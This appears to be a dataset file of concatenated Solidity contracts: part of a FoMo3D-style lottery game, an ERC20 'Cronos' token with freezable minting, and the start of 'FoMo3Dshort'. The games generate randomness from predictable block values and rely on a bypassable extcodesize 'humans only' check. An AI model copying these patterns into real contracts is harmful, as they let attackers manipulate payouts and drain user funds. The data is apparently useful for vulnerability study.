if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(H3Ddatasets.EventReturns memory _eventData_)
private
returns (H3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, H3Ddatasets.EventReturns memory _eventData_)
private
returns (H3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(H3Ddatasets.EventReturns memory _eventData_)
private
returns (H3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(68)) / 100;
uint256 _com = (_pot.mul(10)) / 100;
uint256 _gen = 0;
uint256 _p3d = 0;
TeamDreamHub_.deposit.value(_com)();
uint256 _res = ((_pot.sub(_com)).sub(_gen)).sub(_p3d);
(_res,_eventData_) = winnersProfitDistributor(_rID, _win, _res, _eventData_);
if(noMoreNextRound_ == true)
{
owner.transfer(_res);
_res = 0;
}
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 dividend_yet_distribute = calcUnMaskedEarnings(_pID, _rIDlast);
if (dividend_yet_distribute > 0)
{
uint256 _earnings;
uint256 all_dividend_earned = dividend_yet_distribute.add(plyrRnds_[_pID][_rIDlast].eth_went_to_gen);
if (all_dividend_earned > (plyrRnds_[_pID][_rIDlast].eth).mul(3))
{
uint256 remain_quota = (plyrRnds_[_pID][_rIDlast].eth).mul(3).sub(plyrRnds_[_pID][_rIDlast].eth_went_to_gen);
uint256 exceeds_part = dividend_yet_distribute.sub(remain_quota);
_earnings = remain_quota;
uint256 _dust = updateMasks(rID_, _pID, exceeds_part, 0);
if (_dust > 0)
round_[rID_].pot = round_[rID_].pot.add(_dust);
}
else
{
_earnings = dividend_yet_distribute;
}
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].eth_went_to_gen = _earnings.add(plyrRnds_[_pID][_rIDlast].eth_went_to_gen);
plyrRnds_[_pID][_rIDlast].mask = dividend_yet_distribute.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function endRoundDecision()
private
returns(bool)
{
bool decision = false;
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
uint256 randNum = (seed - ((seed / 1000) * 1000));
if(randNum < 50)
decision = true;
emit H3Devents.onNewDecision(msg.sender,randNum,decision);
return decision;
}
function checkNotSmartContract(address targetAddr)
private
returns(bool)
{
uint256 _codeLength;
assembly {
_codeLength := extcodesize(targetAddr)
}
if(_codeLength == 0)
return true;
else
return false;
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, H3Ddatasets.EventReturns memory _eventData_)
private
returns(H3Ddatasets.EventReturns)
{
uint256 _com = (_eth.mul(10)) / 100;
uint256 _p3d = 0;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit H3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
TeamDreamHub_.deposit.value(_com)();
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit H3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _keys, H3Ddatasets.EventReturns memory _eventData_)
private
returns(H3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(60)) / 100;
_eth = _eth.sub((_eth.mul(20)) / 100);
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function winnersProfitDistributor(uint256 _rID, uint256 _win, uint256 _res, H3Ddatasets.EventReturns memory _eventData_)
private
returns (uint256, H3Ddatasets.EventReturns)
{
uint256 _pIDtmp;
uint256 _paidPlayerCount;
uint256 _bonus_portion;
_eventData_ = determinePID(_eventData_);
_bonus_portion = (_win.mul(10)) / 1000;
_pIDtmp = pIDxAddr_[address_of_last_rand_gen_source_];
plyr_[_pIDtmp].win = _bonus_portion.add(plyr_[_pIDtmp].win);
_res = _res.sub(_bonus_portion);
_bonus_portion = (_win.mul(49)) / 1000;
_paidPlayerCount = 0;
for (uint i = 0; i < round_[_rID].latestPlayers.length; i++) {
if(round_[_rID].latestPlayers[i] == 0) break;
if(_paidPlayerCount == rule_limit_latestPlayersCnt) break;
_pIDtmp = round_[_rID].latestPlayers[i];
if(checkNotSmartContract(plyr_[_pIDtmp].addr)) {
plyr_[_pIDtmp].win = _bonus_portion.add(plyr_[_pIDtmp].win);
_res = _res.sub(_bonus_portion);
_paidPlayerCount++;
pPAIDxID_[round_[_rID].latestPlayers[i]] = true;
}
}
_bonus_portion = (_win.mul(50)) / 1000;
_paidPlayerCount = 0;
for (i = 0; i < round_[_rID].heavyPlayers.length; i++) {
if(round_[_rID].heavyPlayers[i] == 0) break;
if(_paidPlayerCount == rule_limit_heavyPlayersCnt) break;
_pIDtmp = round_[_rID].heavyPlayers[i];
if(checkNotSmartContract(plyr_[_pIDtmp].addr)) {
if(pPAIDxID_[_pIDtmp] == true) continue;
plyr_[_pIDtmp].win = _bonus_portion.add(plyr_[_pIDtmp].win);
_res = _res.sub(_bonus_portion);
_paidPlayerCount++;
}
}
for (i = 0; i < round_[_rID].latestPlayers.length; i++)
pPAIDxID_[round_[_rID].latestPlayers[i]] = false;
return (_res,_eventData_);
}
function internalNoter(uint256 _rID, uint256 _pID)
private
{
bool hasFoundIdx = false;
uint idx_insert = round_[_rID].latestPlayers.length - 1;
uint i;
uint j;
for (i=0; i<round_[_rID].latestPlayers.length-1; i++) {
if(round_[_rID].latestPlayers[i] == _pID) {
for (j=i; j<round_[_rID].latestPlayers.length-1; j++) {
round_[_rID].latestPlayers[j] = round_[_rID].latestPlayers[j+1];
if(round_[_rID].latestPlayers[j] == 0) {
idx_insert = j;
hasFoundIdx = true;
break;
}
}
}
else {
if(round_[_rID].latestPlayers[i] == 0) {
idx_insert = i;
hasFoundIdx = true;
break;
}
}
}
if (hasFoundIdx == false) {
for (i=0; i<round_[_rID].latestPlayers.length-1; i++) {
round_[_rID].latestPlayers[i] = round_[_rID].latestPlayers[i+1];
}
}
round_[_rID].latestPlayers[idx_insert] = _pID;
hasFoundIdx = false;
idx_insert = round_[_rID].heavyPlayers.length - 1;
for(i=0; i<round_[_rID].heavyPlayers.length; i++) {
if(round_[_rID].heavyPlayers[i] == 0) break;
if(round_[_rID].heavyPlayers[i] == _pID) {
for(j=i; j<round_[_rID].heavyPlayers.length-1; j++) {
round_[_rID].heavyPlayers[j] = round_[_rID].heavyPlayers[j+1];
if(round_[_rID].heavyPlayers[j] == 0) break;
}
}
}
for(i=0; i<round_[_rID].heavyPlayers.length; i++) {
if(round_[_rID].heavyPlayers[i] == 0) {
idx_insert = i;
hasFoundIdx = true;
break;
}
else {
if(plyrRnds_[_pID][_rID].eth > plyrRnds_[round_[_rID].heavyPlayers[i]][_rID].eth) {
idx_insert = i;
hasFoundIdx = true;
for (j=i; j<round_[_rID].heavyPlayers.length-1; j++) {
round_[_rID].heavyPlayers[j+1] = round_[_rID].heavyPlayers[j];
if(round_[_rID].heavyPlayers[j] == 0) break;
}
break;
}
}
}
if(hasFoundIdx == true)
round_[_rID].heavyPlayers[idx_insert] = _pID;
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt;
if(round_[_rID].keys.sub(_keys) == 0)
{
_ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
else
{
_ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys.sub(_keys));
round_[_rID].mask = _ppt.add(round_[_rID].mask);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000))).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys.sub(_keys))) / (1000000000000000000)));
}
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, H3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit H3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == owner,
"only Team Dream can activate"
);
require(activated_ == false, "Heaven3D already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library H3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 eth_went_to_gen;
uint256 ico;
}
struct Round {
uint256[20] latestPlayers;
uint256[20] heavyPlayers;
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
}
library H3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
interface TeamDreamHubInterface {
function deposit() external payable;
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,575 |
pragma solidity ^0.4.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint64 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract usingConsts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "Cronos";
string constant TOKEN_SYMBOL = "CRS";
bool constant PAUSED = true;
address constant TARGET_USER = 0x216C619CB44BeEe746DC781740C215Bce23fA892;
uint constant START_TIME = 1518697500;
bool constant CONTINUE_MINTING = false;
}
contract FreezableToken is StandardToken {
mapping (address => uint64) internal roots;
mapping (bytes32 => uint64) internal chains;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function getFreezingSummaryOf(address _addr) public constant returns (uint tokenAmount, uint freezingCount) {
uint count;
uint total;
uint64 release = roots[_addr];
while (release != 0) {
count ++;
total += balanceOf(address(keccak256(toKey(_addr, release))));
release = chains[toKey(_addr, release)];
}
return (total, count);
}
function getFreezing(address _addr, uint _index) public constant returns (uint64 _release, uint _balance) {
uint64 release = roots[_addr];
for (uint i = 0; i < _index; i ++) {
release = chains[toKey(_addr, release)];
}
return (release, balanceOf(address(keccak256(toKey(_addr, release)))));
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
bytes32 currentKey = toKey(_to, _until);
transfer(address(keccak256(currentKey)), _amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
uint64 head = roots[msg.sender];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
address currentAddress = address(keccak256(currentKey));
uint amount = balances[currentAddress];
delete balances[currentAddress];
balances[msg.sender] += amount;
if (next == 0) {
delete roots[msg.sender];
}
else {
roots[msg.sender] = next;
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal constant returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
uint64 head = roots[_to];
if (head == 0) {
roots[_to] = _until;
return;
}
bytes32 headKey = toKey(_to, head);
uint parent;
bytes32 parentKey;
while (head != 0 && _until > head) {
parent = head;
parentKey = headKey;
head = chains[headKey];
headKey = toKey(_to, head);
}
if (_until == head) {
return;
}
if (head != 0) {
chains[toKey(_to, _until)] = head;
}
if (parent == 0) {
roots[_to] = _until;
}
else {
chains[parentKey] = _until;
}
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner {
bytes32 currentKey = toKey(_to, _until);
mint(address(keccak256(currentKey)), _amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
}
contract MainToken is usingConsts, FreezableMintableToken, BurnableToken, Pausable {
function MainToken() {
if (PAUSED) {
pause();
}
}
function name() constant public returns (string _name) {
return TOKEN_NAME;
}
function symbol() constant public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() constant public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 1,638 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xee83e20C6AEab2284685Efe0B5ffb250bE5480bf);
address private admin = msg.sender;
string constant public name = "FOMO Short";
string constant public symbol = "SHORT";
uint256 private rndExtra_ = 1 seconds;
uint256 private rndGap_ = 1 seconds;
uint256 constant private rndInit_ = 500 hours;
uint256 constant private rndInc_ = 1 seconds;
uint256 constant private rndMax_ = 500 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
